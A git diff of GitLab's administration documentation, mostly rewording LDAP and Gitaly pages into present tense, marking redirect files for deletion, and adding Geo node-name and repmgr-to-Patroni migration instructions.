diff options
Diffstat (limited to 'doc')
522 files changed, 5973 insertions, 2398 deletions
diff --git a/doc/.vale/gitlab/SubstitutionSuggestions.yml b/doc/.vale/gitlab/SubstitutionSuggestions.yml index df68961b1ce..3fc22dc0d53 100644 --- a/doc/.vale/gitlab/SubstitutionSuggestions.yml +++ b/doc/.vale/gitlab/SubstitutionSuggestions.yml @@ -15,3 +15,4 @@ swap: once that: after that once the: after the once you: after you + within: in diff --git a/doc/.vale/gitlab/spelling-exceptions.txt b/doc/.vale/gitlab/spelling-exceptions.txt index bbb5c892298..90d6d4190e8 100644 --- a/doc/.vale/gitlab/spelling-exceptions.txt +++ b/doc/.vale/gitlab/spelling-exceptions.txt @@ -216,7 +216,7 @@ jsdom JupyterHub kanban kanbans -Kaniko +kaniko Karma Kerberos keyset @@ -231,8 +231,8 @@ Kubesec Laravel LDAP ldapsearch -Leiningen Lefthook +Leiningen Libravatar liveness Lograge @@ -317,6 +317,7 @@ PgBouncer Phabricator phaser phasers +phpenv Pipfile Pipfiles Piwik @@ -476,6 +477,8 @@ substrings subtree subtrees sudo +swimlane +swimlanes syslog tcpdump Thanos diff --git a/doc/administration/audit_events.md b/doc/administration/audit_events.md index 67a3a3c1539..fa7fa3666b3 100644 --- a/doc/administration/audit_events.md +++ b/doc/administration/audit_events.md @@ -180,12 +180,6 @@ the steps bellow. Feature.enable(:repository_push_audit_event) ``` -## Retention policy - -On GitLab.com, Audit Event records become subject to deletion after 400 days, or when your license is downgraded to a tier that does not include access to Audit Events. Data that is subject to deletion will be deleted at GitLab's discretion, possibly without additional notice. - -If you require a longer retention period, you should independently archive your Audit Event data, which you can retrieve through the [Audit Events API](../api/audit_events.md). - ## Export to CSV **(PREMIUM ONLY)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1449) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4. diff --git a/doc/administration/auditor_users.md b/doc/administration/auditor_users.md index c41065abd17..30493597194 100644 --- a/doc/administration/auditor_users.md +++ b/doc/administration/auditor_users.md @@ -58,7 +58,7 @@ helpful: To create a new Auditor user: 1. Create a new user or edit an existing one by navigating to - **Admin Area > Users**. You will find the option of the access level in + **Admin Area > Users**. The option of the access level is located in the 'Access' section.  diff --git a/doc/administration/auth/google_secure_ldap.md b/doc/administration/auth/google_secure_ldap.md index d30efc6d3cc..37366b00f73 100644 --- a/doc/administration/auth/google_secure_ldap.md +++ b/doc/administration/auth/google_secure_ldap.md @@ -3,3 +3,6 @@ redirect_to: 'ldap/google_secure_ldap.md' --- This document was moved to [another location](ldap/google_secure_ldap.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/auth/how_to_configure_ldap_gitlab_ce/index.md b/doc/administration/auth/how_to_configure_ldap_gitlab_ce/index.md index 40d021e180c..ffce06afb63 100644 --- a/doc/administration/auth/how_to_configure_ldap_gitlab_ce/index.md +++ b/doc/administration/auth/how_to_configure_ldap_gitlab_ce/index.md @@ -3,3 +3,6 @@ redirect_to: '../ldap/index.md' --- This document was moved to [another location](../ldap/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/auth/how_to_configure_ldap_gitlab_ee/index.md b/doc/administration/auth/how_to_configure_ldap_gitlab_ee/index.md index 40d021e180c..ffce06afb63 100644 --- a/doc/administration/auth/how_to_configure_ldap_gitlab_ee/index.md +++ b/doc/administration/auth/how_to_configure_ldap_gitlab_ee/index.md @@ -3,3 +3,6 @@ redirect_to: '../ldap/index.md' --- This document was moved to [another location](../ldap/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/auth/ldap-ee.md b/doc/administration/auth/ldap-ee.md index f5565628af1..6d56654a44b 100644 --- a/doc/administration/auth/ldap-ee.md +++ b/doc/administration/auth/ldap-ee.md @@ -3,3 +3,6 @@ redirect_to: 'ldap/index.md' --- This document was moved to [another location](ldap/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/auth/ldap-troubleshooting.md b/doc/administration/auth/ldap-troubleshooting.md index a553f449abb..1e02755e3e5 100644 --- a/doc/administration/auth/ldap-troubleshooting.md +++ b/doc/administration/auth/ldap-troubleshooting.md @@ -3,3 +3,6 @@ redirect_to: 'ldap/ldap-troubleshooting.md' --- This document was moved to [another location](ldap/ldap-troubleshooting.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/auth/ldap.md b/doc/administration/auth/ldap.md index f5565628af1..6d56654a44b 100644 --- a/doc/administration/auth/ldap.md +++ b/doc/administration/auth/ldap.md @@ -3,3 +3,6 @@ redirect_to: 'ldap/index.md' --- This document was moved to [another location](ldap/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/auth/ldap/index.md b/doc/administration/auth/ldap/index.md index 9d88d66bf46..cef274d5c97 100644 --- a/doc/administration/auth/ldap/index.md +++ b/doc/administration/auth/ldap/index.md @@ -46,10 +46,10 @@ the LDAP server or share email addresses. ### User deletion **(CORE ONLY)** -If a user is deleted from the LDAP server, they will be blocked in GitLab as -well. Users will be immediately blocked from logging in. However, there is an +If a user is deleted from the LDAP server, they are also blocked in GitLab. +Users are immediately blocked from logging in. However, there is an LDAP check cache time of one hour (see note) which means users that -are already logged in or are using Git over SSH will still be able to access +are already logged in or are using Git over SSH are be able to access GitLab for up to one hour. Manually block the user in the GitLab Admin Area to immediately block all access. @@ -66,7 +66,7 @@ in the application settings. When a user signs in to GitLab with LDAP for the first time, and their LDAP email address is the primary email address of an existing GitLab user, then -the LDAP DN will be associated with the existing user. If the LDAP email +the LDAP DN is associated with the existing user. If the LDAP email attribute is not found in GitLab's database, a new user is created. In other words, if an existing GitLab user wants to enable LDAP sign-in for @@ -94,7 +94,7 @@ for information on the LDAP check Rake task. NOTE: **Note:** The `encryption` value `simple_tls` corresponds to 'Simple TLS' in the LDAP library. `start_tls` corresponds to StartTLS, not to be confused with regular TLS. -Normally, if you specify `simple_tls` it will be on port 636, while `start_tls` (StartTLS) +Normally, if you specify `simple_tls` it is on port 636, while `start_tls` (StartTLS) would be on port 389. `plain` also operates on port 389. Removed values: `tls` was replaced with `start_tls` and `ssl` was replaced with `simple_tls`. LDAP users must have a set email address, regardless of whether or not it's used @@ -167,27 +167,27 @@ production: | Setting | Description | Required | Examples | | ------- | ----------- | -------- | -------- | -| `label` | A human-friendly name for your LDAP server. It will be displayed on your sign-in page. | yes | `'Paris'` or `'Acme, Ltd.'` | +| `label` | A human-friendly name for your LDAP server. It is displayed on your sign-in page. | yes | `'Paris'` or `'Acme, Ltd.'` | | `host` | IP address or domain name of your LDAP server. | yes | `'ldap.mydomain.com'` | | `port` | The port to connect with on your LDAP server. Always an integer, not a string. | yes | `389` or `636` (for SSL) | -| `uid` | LDAP attribute for username. Should be the attribute, not the value that maps to the `uid`. | yes | `'sAMAccountName'`, `'uid'`, `'userPrincipalName'` | -| `bind_dn` | The full DN of the user you will bind with. | no | `'america\momo'` or `'CN=Gitlab,OU=Users,DC=domain,DC=com'` | +| `uid` | LDAP attribute for username. Should be the attribute, not the value that maps to the `uid`. | yes | `'sAMAccountName'` or `'uid'` or `'userPrincipalName'` | +| `bind_dn` | The full DN of the user you bind with. | no | `'america\momo'` or `'CN=Gitlab,OU=Users,DC=domain,DC=com'` | | `password` | The password of the bind user. | no | `'your_great_password'` | | `encryption` | Encryption method. The `method` key is deprecated in favor of `encryption`. | yes | `'start_tls'` or `'simple_tls'` or `'plain'` | | `verify_certificates` | Enables SSL certificate verification if encryption method is `start_tls` or `simple_tls`. Defaults to true. | no | boolean | | `timeout` | Set a timeout, in seconds, for LDAP queries. This helps avoid blocking a request if the LDAP server becomes unresponsive. A value of 0 means there is no timeout. | no | `10` or `30` | | `active_directory` | This setting specifies if LDAP server is Active Directory LDAP server. For non-AD servers it skips the AD specific queries. If your LDAP server is not AD, set this to false. | no | boolean | -| `allow_username_or_email_login` | If enabled, GitLab will ignore everything after the first `@` in the LDAP username submitted by the user on sign-in. If you are using `uid: 'userPrincipalName'` on ActiveDirectory you need to disable this setting, because the userPrincipalName contains an `@`. | no | boolean | -| `block_auto_created_users` | To maintain tight control over the number of active users on your GitLab installation, enable this setting to keep new users blocked until they have been cleared by the admin (default: false). | no | boolean | +| `allow_username_or_email_login` | If enabled, GitLab ignores everything after the first `@` in the LDAP username submitted by the user on sign-in. If you are using `uid: 'userPrincipalName'` on ActiveDirectory you need to disable this setting, because the userPrincipalName contains an `@`. | no | boolean | +| `block_auto_created_users` | To maintain tight control over the number of billable users on your GitLab installation, enable this setting to keep new users blocked until they have been cleared by an administrator (default: false). | no | boolean | | `base` | Base where we can search for users. | yes | `'ou=people,dc=gitlab,dc=example'` or `'DC=mydomain,DC=com'` | | `user_filter` | Filter LDAP users. Format: [RFC 4515](https://tools.ietf.org/search/rfc4515) Note: GitLab does not support `omniauth-ldap`'s custom filter syntax. | no | `'(employeeType=developer)'` or `'(&(objectclass=user)(|(samaccountname=momo)(samaccountname=toto)))'` | -| `lowercase_usernames` | If lowercase_usernames is enabled, GitLab will lower case the username. | no | boolean | +| `lowercase_usernames` | If lowercase_usernames is enabled, GitLab converts the name to lower case. | no | boolean | ### SSL Configuration Settings **(CORE ONLY)** | Setting | Description | Required | Examples | | ------- | ----------- | -------- | -------- | -| `ca_file` | Specifies the path to a file containing a PEM-format CA certificate, e.g. if you need to use an internal CA. | no | `'/etc/ca.pem'` | +| `ca_file` | Specifies the path to a file containing a PEM-format CA certificate, for example, if you need to use an internal CA. | no | `'/etc/ca.pem'` | | `ssl_version` | Specifies the SSL version for OpenSSL to use, if the OpenSSL default is not appropriate. | no | `'TLSv1_1'` | | `ciphers` | Specific SSL ciphers to use in communication with LDAP servers. | no | `'ALL:!EXPORT:!LOW:!aNULL:!eNULL:!SSLv2'` | | `cert` | Client certificate | no | `'-----BEGIN CERTIFICATE----- <REDACTED> -----END CERTIFICATE -----'` | @@ -195,11 +195,11 @@ production: ### Attribute Configuration Settings **(CORE ONLY)** -LDAP attributes that GitLab will use to create an account for the LDAP user. The specified attribute can either be the attribute name as a string (e.g. `'mail'`), or an array of attribute names to try in order (e.g. `['mail', 'email']`). Note that the user's LDAP sign-in will always be the attribute specified as `uid` above. +LDAP attributes that GitLab uses to create an account for the LDAP user. The specified attribute can either be the attribute name as a string (for example, `'mail'`), or an array of attribute names to try in order (for example, `['mail', 'email']`). Note that the user's LDAP sign-in is the attribute specified as `uid` above. | Setting | Description | Required | Examples | | ------- | ----------- | -------- | -------- | -| `username` | The username will be used in paths for the user's own projects (like `gitlab.example.com/username/project`) and when mentioning them in issues, merge request and comments (like `@username`). If the attribute specified for `username` contains an email address, the GitLab username will be the part of the email address before the `@`. | no | `['uid', 'userid', 'sAMAccountName']` | +| `username` | The username is used in paths for the user's own projects (like `gitlab.example.com/username/project`) and when mentioning them in issues, merge request and comments (like `@username`). If the attribute specified for `username` contains an email address, the GitLab username is part of the email address before the `@`. | no | `['uid', 'userid', 'sAMAccountName']` | | `email` | LDAP attribute for user email. | no | `['mail', 'email', 'userPrincipalName']` | | `name` | LDAP attribute for user display name. If no full name could be found at the attribute specified for `name`, the full name is determined using the attributes specified for `first_name` and `last_name`. | no | `'cn'` or `'displayName'` | | `first_name` | LDAP attribute for user first name. | no | `'givenName'` | @@ -335,7 +335,7 @@ an alternative such as SAML is preferred. This allows LDAP to be used for group sync, while also allowing your SAML identity provider to handle additional checks like custom 2FA. -When LDAP web sign in is disabled, users will not see a **LDAP** tab on the sign in page. +When LDAP web sign in is disabled, users don't see an **LDAP** tab on the sign in page. This does not disable [using LDAP credentials for Git access](#git-password-authentication). **Omnibus configuration** @@ -383,7 +383,7 @@ be mandatory and clients cannot be authenticated with the TLS protocol. ## Multiple LDAP servers **(STARTER ONLY)** With GitLab Enterprise Edition Starter, you can configure multiple LDAP servers -that your GitLab instance will connect to. +that your GitLab instance connects to. To add another LDAP server: @@ -391,7 +391,7 @@ To add another LDAP server: 1. Edit them to match the additional LDAP server. Be sure to choose a different provider ID made of letters a-z and numbers 0-9. -This ID will be stored in the database so that GitLab can remember which LDAP +This ID is stored in the database so that GitLab can remember which LDAP server a user belongs to.  @@ -437,7 +437,7 @@ The process executes the following access checks: - Ensure the user is still present in LDAP. - If the LDAP server is Active Directory, ensure the user is active (not - blocked/disabled state). This will only be checked if + blocked/disabled state). This is checked only if `active_directory: true` is set in the LDAP configuration. In Active Directory, a user is marked as disabled/blocked if the user @@ -446,7 +446,7 @@ has bit 2 set. For more information, see <https://ctovswild.com/2009/09/03/bitmask-searches-in-ldap/> The user is set to an `ldap_blocked` state in GitLab if the previous conditions -fail. This means the user won't be able to sign in or push/pull code. +fail. This means the user is not able to sign in or push/pull code. The process also updates the following user information: @@ -495,18 +495,18 @@ sync to run once every 12 hours at the top of the hour. ## Group Sync **(STARTER ONLY)** If your LDAP supports the `memberof` property, when the user signs in for the -first time GitLab will trigger a sync for groups the user should be a member of. +first time GitLab triggers a sync for groups the user should be a member of. That way they don't need to wait for the hourly sync to be granted access to their groups and projects. -A group sync process will run every hour on the hour, and `group_base` must be set +A group sync process runs every hour on the hour, and `group_base` must be set in LDAP configuration for LDAP synchronizations based on group CN to work. This allows GitLab group membership to be automatically updated based on LDAP group members. The `group_base` configuration should be a base LDAP 'container', such as an 'organization' or 'organizational unit', that contains LDAP groups that should be available to GitLab. For example, `group_base` could be -`ou=groups,dc=example,dc=com`. In the configuration file it will look like the +`ou=groups,dc=example,dc=com`. In the configuration file it looks like the following. **Omnibus configuration** @@ -539,7 +539,7 @@ following. 1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect. -To take advantage of group sync, group owners or maintainers will need to [create one +To take advantage of group sync, group owners or maintainers need to [create one or more LDAP group links](#adding-group-links). ### Adding group links **(STARTER ONLY)** @@ -550,11 +550,11 @@ For information on adding group links via CNs and filters, refer to [the GitLab As an extension of group sync, you can automatically manage your global GitLab administrators. Specify a group CN for `admin_group` and all members of the -LDAP group will be given administrator privileges. The configuration will look +LDAP group will be given administrator privileges. The configuration looks like the following. NOTE: **Note:** -Administrators will not be synced unless `group_base` is also +Administrators are not synced unless `group_base` is also specified alongside `admin_group`. Also, only specify the CN of the admin group, as opposed to the full DN. @@ -691,10 +691,10 @@ There is a lot going on with group sync 'under the hood'. This section outlines what LDAP queries are executed and what behavior you can expect from group sync. -Group member access will be downgraded from a higher level if their LDAP group +Group member access are downgraded from a higher level if their LDAP group membership changes. For example, if a user has 'Owner' rights in a group and the next group sync reveals they should only have 'Developer' privileges, their -access will be adjusted accordingly. The only exception is if the user is the +access is adjusted accordingly. The only exception is if the user is the *last* owner in a group. Groups need at least one owner to fulfill administrative duties. @@ -716,13 +716,13 @@ are defined as one of the mentioned attributes. This also means GitLab supports Microsoft Active Directory, Apple Open Directory, Open LDAP, and 389 Server. Other LDAP servers should work, too. -Active Directory also supports nested groups. Group sync will recursively -resolve membership if `active_directory: true` is set in the configuration file. +Active Directory also supports nested groups. Group sync recursively +resolves membership if `active_directory: true` is set in the configuration file. ##### Nested group memberships Nested group memberships are resolved only if the nested group -is found within the configured `group_base`. For example, if GitLab sees a +is found in the configured `group_base`. For example, if GitLab sees a nested group with DN `cn=nested_group,ou=special_groups,dc=example,dc=com` but the configured `group_base` is `ou=groups,dc=example,dc=com`, `cn=nested_group` is ignored. @@ -731,7 +731,7 @@ is ignored. - Each LDAP group is queried a maximum of one time with base `group_base` and filter `(cn=<cn_from_group_link>)`. -- If the LDAP group has the `memberuid` attribute, GitLab will execute another +- If the LDAP group has the `memberuid` attribute, GitLab executes another LDAP query per member to obtain each user's full DN. These queries are executed with base `base`, scope 'base object', and a filter depending on whether `user_filter` is set. Filter may be `(uid=<uid_from_group>)` or a @@ -750,9 +750,9 @@ LDAP group links each: - Subsequent syncs (checking membership, no writes) took 15 minutes These metrics are meant to provide a baseline and performance may vary based on -any number of factors. This was a pretty extreme benchmark and most instances will -not have near this many users or groups. Disk speed, database performance, -network and LDAP server response time will affect these metrics. +any number of factors. This was an extreme benchmark and most instances don't +have near this many users or groups. Disk speed, database performance, +network and LDAP server response time affects these metrics. ## Troubleshooting diff --git a/doc/administration/availability/index.md b/doc/administration/availability/index.md index 748373c8941..4f934646ed6 100644 --- a/doc/administration/availability/index.md +++ b/doc/administration/availability/index.md @@ -3,3 +3,6 @@ redirect_to: ../reference_architectures/index.md --- This document was moved to [another location](../reference_architectures/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/build_artifacts.md b/doc/administration/build_artifacts.md index 85ae2946bc8..e42f50b2e54 100644 --- a/doc/administration/build_artifacts.md +++ b/doc/administration/build_artifacts.md @@ -3,3 +3,6 @@ redirect_to: 'job_artifacts.md' --- This document was moved to [job_artifacts](job_artifacts.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/container_registry.md b/doc/administration/container_registry.md index 7a533aa9043..52941556237 100644 --- a/doc/administration/container_registry.md +++ b/doc/administration/container_registry.md @@ -3,3 +3,6 @@ redirect_to: 'packages/container_registry.md' --- This document was moved to [another location](packages/container_registry.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/custom_hooks.md b/doc/administration/custom_hooks.md index 4cb8b15e4d8..0580540eef9 100644 --- a/doc/administration/custom_hooks.md +++ b/doc/administration/custom_hooks.md @@ -3,3 +3,6 @@ redirect_to: 'server_hooks.md' --- This document was moved to [another location](server_hooks.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/dependency_proxy.md b/doc/administration/dependency_proxy.md index 4683565998a..c0e0643b5de 100644 --- a/doc/administration/dependency_proxy.md +++ b/doc/administration/dependency_proxy.md @@ -3,3 +3,6 @@ redirect_to: 'packages/dependency_proxy.md' --- This document was moved to [another location](packages/dependency_proxy.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/external_pipeline_validation.md b/doc/administration/external_pipeline_validation.md index cb1d35f24d5..bc1a57e8bcd 100644 --- a/doc/administration/external_pipeline_validation.md +++ b/doc/administration/external_pipeline_validation.md @@ -14,9 +14,9 @@ This is an experimental feature and subject to change without notice. ## Usage -GitLab will send a POST request to the external service URL with the pipeline -data as payload. GitLab will then invalidate the pipeline based on the response -code. If there's an error or the request times out, the pipeline will not be +GitLab sends a POST request to the external service URL with the pipeline +data as payload. GitLab then invalidates the pipeline based on the response +code. If there's an error or the request times out, the pipeline is not invalidated. Response Code Legend: diff --git a/doc/administration/geo/disaster_recovery/promotion_runbook.md b/doc/administration/geo/disaster_recovery/promotion_runbook.md index 7eb6ef01aee..eef1e7ae9dd 100644 --- a/doc/administration/geo/disaster_recovery/promotion_runbook.md +++ b/doc/administration/geo/disaster_recovery/promotion_runbook.md @@ -3,3 +3,6 @@ redirect_to: runbooks/planned_failover_single_node.md --- This document was moved to [another location](runbooks/planned_failover_single_node.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/geo/index.md b/doc/administration/geo/index.md index 02b907ae237..fdea46c30ac 100644 --- a/doc/administration/geo/index.md +++ b/doc/administration/geo/index.md @@ -208,7 +208,9 @@ Omnibus GitLab-managed database. External databases are currently not supported. In some circumstances, like during [upgrades](replication/updating_the_geo_nodes.md) or a [planned failover](disaster_recovery/planned_failover.md), it is desirable to pause replication between the primary and secondary. -Pausing and resuming replication is done via a command line tool from the secondary node. +Pausing and resuming replication is done via a command line tool from the secondary node where the `postgresql` service is enabled. + +If `postgresql` is on a standalone database node, ensure that `gitlab.rb` on that node contains the configuration line `gitlab_rails['geo_node_name'] = 'node_name'`, where `node_name` is the same as the `geo_name_name` on the application node. **To Pause: (from secondary)** diff --git a/doc/administration/geo/replication/database.md b/doc/administration/geo/replication/database.md index da5376190b9..099a73e93d8 100644 --- a/doc/administration/geo/replication/database.md +++ b/doc/administration/geo/replication/database.md @@ -3,3 +3,6 @@ redirect_to: '../setup/database.md' --- This document was moved to [another location](../setup/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/geo/replication/external_database.md b/doc/administration/geo/replication/external_database.md index 0d0cd8a37d5..dfaf6819fa0 100644 --- a/doc/administration/geo/replication/external_database.md +++ b/doc/administration/geo/replication/external_database.md @@ -3,3 +3,6 @@ redirect_to: '../setup/external_database.md' --- This document was moved to [another location](../setup/external_database.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/geo/replication/high_availability.md b/doc/administration/geo/replication/high_availability.md index 214f15b7565..1da4246db1f 100644 --- a/doc/administration/geo/replication/high_availability.md +++ b/doc/administration/geo/replication/high_availability.md @@ -3,3 +3,6 @@ redirect_to: 'multiple_servers.md' --- This document was moved to [another location](multiple_servers.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/geo/replication/index.md b/doc/administration/geo/replication/index.md index 5e9dd73ecc5..955e05491d2 100644 --- a/doc/administration/geo/replication/index.md +++ b/doc/administration/geo/replication/index.md @@ -3,3 +3,6 @@ redirect_to: '../index.md' --- This document was moved to [another location](../index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/geo/replication/multiple_servers.md b/doc/administration/geo/replication/multiple_servers.md index 7d65d2165c5..9d5653bcc72 100644 --- a/doc/administration/geo/replication/multiple_servers.md +++ b/doc/administration/geo/replication/multiple_servers.md @@ -174,6 +174,12 @@ the **primary** database. Use the following as a guide. roles ['geo_secondary_role', 'postgres_role'] ## + ## The unique identifier for the Geo node. + ## This should match the secondary's application node. + ## + gitlab_rails['geo_node_name'] = '<node_name_here>' + + ## ## Secondary address ## - replace '<secondary_node_ip>' with the public or VPC address of your Geo secondary node ## - replace '<tracking_database_ip>' with the public or VPC address of your Geo tracking database node diff --git a/doc/administration/geo/setup/database.md b/doc/administration/geo/setup/database.md index 24e55d26997..7fef2a02dd0 100644 --- a/doc/administration/geo/setup/database.md +++ b/doc/administration/geo/setup/database.md @@ -499,6 +499,8 @@ This experimental implementation has the following limitations: For instructions about how to set up Patroni on the primary node, see the [PostgreSQL replication and failover with Omnibus GitLab](../../postgresql/replication_and_failover.md#patroni) page. +If you are currently using `repmgr` on your Geo primary, see [these instructions](#migrating-from-repmgr-to-patroni) for migrating from `repmgr` to Patroni. + A production-ready and secure setup requires at least three Patroni instances on the primary, and a similar configuration on the secondary nodes. Be sure to use password credentials and other database best practices. @@ -549,6 +551,13 @@ patroni['standby_cluster']['primary_slot_name'] = 'geo_secondary' # or the uniqu patroni['replication_password'] = 'PLAIN_TEXT_POSTGRESQL_REPLICATION_PASSWORD' ``` +## Migrating from repmgr to Patroni + +1. Before migrating, it is recommended that there is no replication lag between the primary and secondary sites and that replication is paused. In GitLab 13.2 and later, you can pause and resume replication with `gitlab-ctl geo-replication-pause` and `gitlab-ctl geo-replication-resume` on a Geo secondary database node. +1. Follow the [instructions to migrate repmgr to Patroni](../../postgresql/replication_and_failover.md#switching-from-repmgr-to-patroni). When configuring Patroni on each primary site database node, add `patroni['replicaton_slots'] = { '<slot_name>' => 'physical' }` +to `gitlab.rb` where `<slot_name>` is the name of the replication slot for your Geo secondary. This will ensure that Patroni recognizes the replication slot as permanent and will not drop it upon restarting. +1. If database replication to the secondary was paused before migration, resume replication once Patroni is confirmed working on the primary. + ## Troubleshooting Read the [troubleshooting document](../replication/troubleshooting.md). diff --git a/doc/administration/gitaly/index.md b/doc/administration/gitaly/index.md index 0d9c761e078..b8af4bf0f6a 100644 --- a/doc/administration/gitaly/index.md +++ b/doc/administration/gitaly/index.md @@ -434,8 +434,8 @@ server (with `gitaly_address`) unless you setup with special ``` NOTE: **Note:** - `/some/local/path` should be set to a local folder that exists, however no data will be stored in - this folder. This will no longer be necessary after + `/some/local/path` should be set to a local folder that exists, however no data is stored in + this folder. This requirement is scheduled to be removed when [this issue](https://gitlab.com/gitlab-org/gitaly/-/issues/1282) is resolved. 1. Save the file and [restart GitLab](../restart_gitlab.md#installations-from-source). @@ -461,7 +461,7 @@ GitLab can reside on the same server as one of many Gitaly servers, but doesn't configuration that mixes local and remote configuration. The following setup is incorrect, because: - All addresses must be reachable from the other Gitaly servers. -- `storage1` will be assigned a Unix socket for `gitaly_address` which is +- `storage1` is assigned a Unix socket for `gitaly_address` which is invalid for some of the Gitaly servers. ```ruby @@ -493,7 +493,7 @@ gitaly['key_path'] = "/etc/gitlab/ssl/key.pem" ``` `path` can only be included for storage shards on the local Gitaly server. -If it's excluded, default Git storage directory will be used for that storage shard. +If it's excluded, default Git storage directory is used for that storage shard. ### Disable Gitaly where not required (optional) @@ -529,12 +529,18 @@ To disable Gitaly on a GitLab server: ## Enable TLS support -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22602) in GitLab 11.8. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22602) in GitLab 11.8. +> - [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/3160) in GitLab 13.6, outgoing TLS connections to GitLab provide client certificates if configured. Gitaly supports TLS encryption. To communicate with a Gitaly instance that listens for secure connections, you must use `tls://` URL scheme in the `gitaly_address` of the corresponding storage entry in the GitLab configuration. +Gitaly provides the same server certificates as client certificates in TLS +connections to GitLab. This can be used as part of a mutual TLS authentication strategy +when combined with reverse proxies (for example, NGINX) that validate client certificate +to grant access to GitLab. + You must supply your own certificates as this isn't provided automatically. The certificate corresponding to each Gitaly server must be installed on that Gitaly server. @@ -584,7 +590,7 @@ To configure Gitaly with TLS: ``` 1. Copy all Gitaly server certificates (or their certificate authority) to - `/etc/gitlab/trusted-certs` so that Gitaly servers will trust the certificate when calling into themselves + `/etc/gitlab/trusted-certs` so that Gitaly servers trust the certificate when calling into themselves or other Gitaly servers: ```shell @@ -641,8 +647,8 @@ To configure Gitaly with TLS: ``` NOTE: **Note:** - `/some/local/path` should be set to a local folder that exists, however no data will be stored - in this folder. This will no longer be necessary after + `/some/local/path` should be set to a local folder that exists, however no data is stored + in this folder. This requirement is scheduled to be removed when [Gitaly issue #1282](https://gitlab.com/gitlab-org/gitaly/-/issues/1282) is resolved. 1. Save the file and [restart GitLab](../restart_gitlab.md#installations-from-source). @@ -662,7 +668,7 @@ To configure Gitaly with TLS: ``` 1. Copy all Gitaly server certificates (or their certificate authority) to the system trusted - certificates folder so Gitaly server will trust the certificate when calling into itself or other Gitaly + certificates folder so Gitaly server trusts the certificate when calling into itself or other Gitaly servers. ```shell @@ -800,7 +806,7 @@ You can observe the behavior of this queue using the Gitaly logs and Prometheus: NOTE: **Note:** Though the name of the Prometheus metric contains `rate_limiting`, it is a concurrency limiter, not -a rate limiter. If a Gitaly client makes 1000 requests in a row very quickly, concurrency will not +a rate limiter. If a Gitaly client makes 1000 requests in a row very quickly, concurrency does not exceed 1 and the concurrency limiter has no effect. ## Rotate Gitaly authentication token @@ -829,7 +835,7 @@ behavior of your GitLab installation using Prometheus. Use the following Prometh sum(rate(gitaly_authentications_total[5m])) by (enforced, status) ``` -In a system where authentication is configured correctly and where you have live traffic, you will +In a system where authentication is configured correctly and where you have live traffic, you see something like this: ```prometheus @@ -885,7 +891,7 @@ To update to a new Gitaly authentication token, on each Gitaly client **and** Gi ``` If you run your [Prometheus query](#verify-authentication-monitoring) while this change is -being rolled out, you will see non-zero values for the `enforced="false",status="denied"` counter. +being rolled out, you see non-zero values for the `enforced="false",status="denied"` counter. ### Ensure there are no authentication failures @@ -997,7 +1003,7 @@ When GitLab calls a function that has a "Rugged patch", it performs two checks: - Is the feature flag for this patch set in the database? If so, the feature flag setting controls GitLab's use of "Rugged patch" code. - If the feature flag is not set, GitLab tries accessing the filesystem underneath the - Gitaly server directly. If it can, it will use the "Rugged patch": + Gitaly server directly. If it can, it uses the "Rugged patch": - If using Unicorn. - If using Puma and [thread count](../../install/requirements.md#puma-threads) is set to `1`. @@ -1070,7 +1076,7 @@ gitaly-debug -h remote: GitLab: 401 Unauthorized ``` -You will need to sync your `gitlab-secrets.json` file with your Gitaly clients (GitLab +You need to sync your `gitlab-secrets.json` file with your Gitaly clients (GitLab app nodes). ### Client side gRPC logs diff --git a/doc/administration/gitaly/praefect.md b/doc/administration/gitaly/praefect.md index 